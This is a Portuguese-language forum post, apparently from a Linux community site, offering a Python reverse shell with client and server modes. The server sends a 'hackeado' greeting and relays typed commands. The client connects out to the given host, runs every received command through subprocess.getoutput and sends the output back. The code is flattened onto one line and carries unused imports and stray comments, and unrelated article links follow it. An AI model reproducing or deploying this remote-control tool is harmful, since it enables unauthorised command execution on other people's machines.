Shell reverso em Python - cliente e servidor
Publicado por henrique (última atualização em 31/10/2020)
[ Hits: 1.819 ]
Homepage: naotem.com
Um shell reverso com cliente e servidor básico para que você possa personalizar.
#!/usr/bin/env python3 import socket import sys import subprocess import threading import tqdm import os import cv2 import numpy as np import pyautogui buffer = 4096 # display screen resolution, get it from your OS settings # define the codec # create the video write object if len(sys.argv) < 2: sys.exit quit() if sys.argv[1] == '-h': print("""[host]:[port] -l = host -p = porta example ./netcatt.py -h 192.168.0.1 -p 2000""") sys.exit() quit() print("""[host] [port]""") a = input('clien, ou server: ') if sys.argv[1] == '-l': host = str(sys.argv[2]) if sys.argv[3] == '-p': port = int(sys.argv[4]) s = socket.socket() if a in 'Ss': s.bind((host,port)) s.listen(5) print(f'listndo {host}:{port}') client_socket, client_adress = s.accept() message = 'hackeado kkkk'.encode() client_socket.send(message) while True: command = input('comando: ') client_socket.send(command.encode()) if command.lower() == "exit": break results = client_socket.recv(buffer).decode() print(results) client_socket.close() s.close if a in 'cC': s.connect((host, port)) message = s.recv(buffer).decode() print('server: ', message) # start sending the file while True: # receive the command from the server command = s.recv(buffer).decode() if command.lower() == "exit": break output = subprocess.getoutput(command) # send the results back to the server s.send(output.encode()) # close client connection s.close() if s.close: print('-'*20, 'fim', '-'*18)
ArpRequest - requisição arp para endereço físico
Atualizar o macOS no Mac - Opencore Legacy Patcher
Crie alias para as tarefas que possuam longas linhas de comando - bash e zsh
Criando um gateway de internet com o Debian
Configuração básica do Conky para mostrar informações sobre a sua máquina no Desktop
Aprenda a criar músicas com Inteligência Artificial usando Suno AI
Instalando e usando o Dconf Editor, o "regedit" para Linux
Como instalar o navegador TOR no seu Linux
Sistema da Coréia do Norte - Red Star OS (76)
validando quandidade de leitura no read[DUVIDA] (10)